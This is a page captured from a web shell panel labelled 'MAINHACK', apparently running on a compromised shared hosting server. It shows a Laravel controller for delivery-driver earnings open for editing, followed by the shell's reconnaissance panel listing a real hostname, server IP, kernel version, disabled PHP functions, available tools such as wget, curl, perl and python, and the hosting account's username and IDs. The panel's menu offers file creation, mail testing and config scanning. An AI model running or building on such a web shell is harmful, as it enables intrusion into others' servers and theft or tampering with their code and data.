[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ProvideDMEarningController.php
<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use App\Models\DeliveryMan; use App\Models\ProvideDMEarning; use Illuminate\Support\Facades\Validator; use App\CentralLogics\Helpers; use Illuminate\Support\Facades\DB; class ProvideDMEarningController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $provide_dm_earning = ProvideDMEarning::latest()->paginate(config('default_pagination')); return view('admin-views.deliveryman-earning-provide.index', compact('provide_dm_earning')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $validator = Validator::make($request->all(), [ 'deliveryman_id' => 'required', 'amount' => 'required|numeric', ]); $dm = DeliveryMan::findOrFail($request['deliveryman_id']); $current_balance = $dm->wallet?$dm->wallet->total_earning - $dm->wallet->total_withdrawn:0; if ($current_balance < $request['amount']) { $validator->getMessageBag()->add('amount', 'Insufficient balance!'); return response()->json(['errors' => Helpers::error_processor($validator)]); } if ($validator->fails()) { return response()->json(['errors' => Helpers::error_processor($validator)]); } $provide_dm_earning = new ProvideDMEarning(); $provide_dm_earning->delivery_man_id = $dm->id; $provide_dm_earning->method = $request['method']; $provide_dm_earning->ref = $request['ref']; $provide_dm_earning->amount = $request['amount']; try { DB::beginTransaction(); $provide_dm_earning->save(); $dm->wallet->increment('total_withdrawn', $request['amount']); DB::commit(); } catch(\Exception $e) { DB::rollBack(); return response()->json(['error'=>$e],200); } return response()->json(200); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $account_transaction=AccountTransaction::findOrFail($id); return view('admin-views.account.view', compact('account_transaction')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { DeliveryMan::where('id', $id)->delete(); Toastr::success(trans('messages.provided_dm_earnings_removed')); return back(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.11 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624